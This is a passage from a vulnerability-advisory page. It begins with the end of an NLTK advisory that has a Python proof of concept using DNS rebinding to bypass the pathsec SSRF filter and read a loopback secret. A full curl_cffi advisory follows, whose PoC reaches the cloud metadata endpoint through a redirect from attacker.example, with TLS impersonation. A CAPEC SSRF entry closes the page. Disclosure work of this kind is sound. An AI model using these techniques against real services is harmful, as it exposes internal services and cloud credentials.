defaultdict(int)\n\n\ndef _rebinding_getaddrinfo(host, port, *args, **kwargs):\n    if host == ATTACKER_HOST:\n        n = _lookups[host]\n        _lookups[host] += 1\n        ip = PUBLIC_IP if n == 0 else \"127.0.0.1\"   # 1st=public (validate), then loopback (connect)\n        p = port if isinstance(port, int) else 0\n        kind = \"VALIDATION -\u003e public\" if n == 0 else \"CONNECT    -\u003e loopback\"\n        print(f\"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})\")\n        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, \"\", (ip, p))]\n    return _real_getaddrinfo(host, port, *args, **kwargs)\n\n\ndef fetch(url):\n    with ps.urlopen(url, timeout=5) as r:\n        return r.read()\n\n\ndef main():\n    print(\"=\" * 62)\n    print(f\" NLTK pathsec DNS-rebinding SSRF bypass PoC\")\n    print(f\" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}\")\n    print(\"=\" * 62)\n\n    port = start_internal_server()\n    print(f\"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\\n\")\n\n    socket.getaddrinfo = _rebinding_getaddrinfo\n    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process\n    try:\n        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----\n        print(\"[1] CONTROL: direct loopback URL (filter must block this)\")\n        direct = f\"http://127.0.0.1:{port}/\"\n        try:\n            fetch(direct)\n            print(f\"    [?] unexpected: {direct} was NOT blocked\\n\")\n            control_ok = False\n        except PermissionError as e:\n            print(f\"    [OK] blocked -\u003e PermissionError: {e}\\n\")\n            control_ok = True\n\n        # ---- Attack: rebinding hostname bypasses the same filter ----\n        print(\"[2] ATTACK: rebinding hostname (public at validate, loopback at connect)\")\n        evil = f\"http://{ATTACKER_HOST}:{port}/\"\n        print(f\"    fetching {evil}\")\n        try:\n            body = fetch(evil)\n            leaked = SECRET in body\n            print(f\"    body returned to caller: {body!r}\")\n            if leaked:\n                print(\"\\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen\")\n                print(f\"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1\")\n                print(f\"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}\")\n                verdict = \"VULNERABLE\"\n            else:\n                print(\"\\n  [?] fetch succeeded but secret marker not present\")\n                verdict = \"INCONCLUSIVE\"\n        except PermissionError as e:\n            # Patched build: validate against the connect-time IP (or pin/resolve-once).\n            print(f\"\\n  [SAFE] blocked -\u003e PermissionError: {e}\")\n            verdict = \"NOT VULNERABLE\"\n    finally:\n        socket.getaddrinfo = _real_getaddrinfo\n\n    print(\"\\n\" + \"=\" * 62)\n    print(f\" Control (direct loopback blocked): {control_ok}\")\n    print(f\" Result: {verdict}   (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 62)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format=\"raw\"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and \u2014 most seriously \u2014 the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.\n- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK\u0027s documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.",
  "id": "GHSA-qvv7-cg9c-w4x3",
  "modified": "2026-07-31T16:51:29Z",
  "published": "2026-07-31T16:51:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode"
}

GHSA-QW2M-4PQF-RMPP

Vulnerability from github – Published: 2026-04-03 21:36 – Updated: 2026-04-06 23:18
VLAI
Summary
curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)
Details

Summary

curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.

Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.

Details

The issue comes from how curl_cffi handles outbound requests - User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16). - Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl. - There is no validation of redirect destinations at the Python layer.

This means that even if an application only allows requests to external URLs, an attacker can - Provide a URL pointing to an attacker-controlled server - Return a redirect response pointing to an internal service - Have curl_cffi follow that redirect automatically

As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.

Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block

This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.

PoC

  1. Direct internal request
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
  1. Redirect to internal service Attacker server:
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/

Victim code:

import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)

Result - Initial request goes to attacker server - Redirect is returned - libcurl follows the redirect automatically - Internal metadata endpoint is accessed

  1. With TLS impersonation
import curl_cffi\
resp = curl_cffi.get(
    "https://attacker.example/test",
    impersonate="chrome")

In some environments, this may help the request bypass TLS-based filtering controls.

Impact

An attacker who can control the requested URL may be able to: - Access internal network services - Reach cloud metadata endpoints and retrieve sensitive information - Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "curl_cffi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:36:44Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi\u2019s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n\u2192 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.",
  "id": "GHSA-qw2m-4pqf-rmpp",
  "modified": "2026-04-06T23:18:14Z",
  "published": "2026-04-03T21:36:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33752"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lexiforest/curl_cffi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.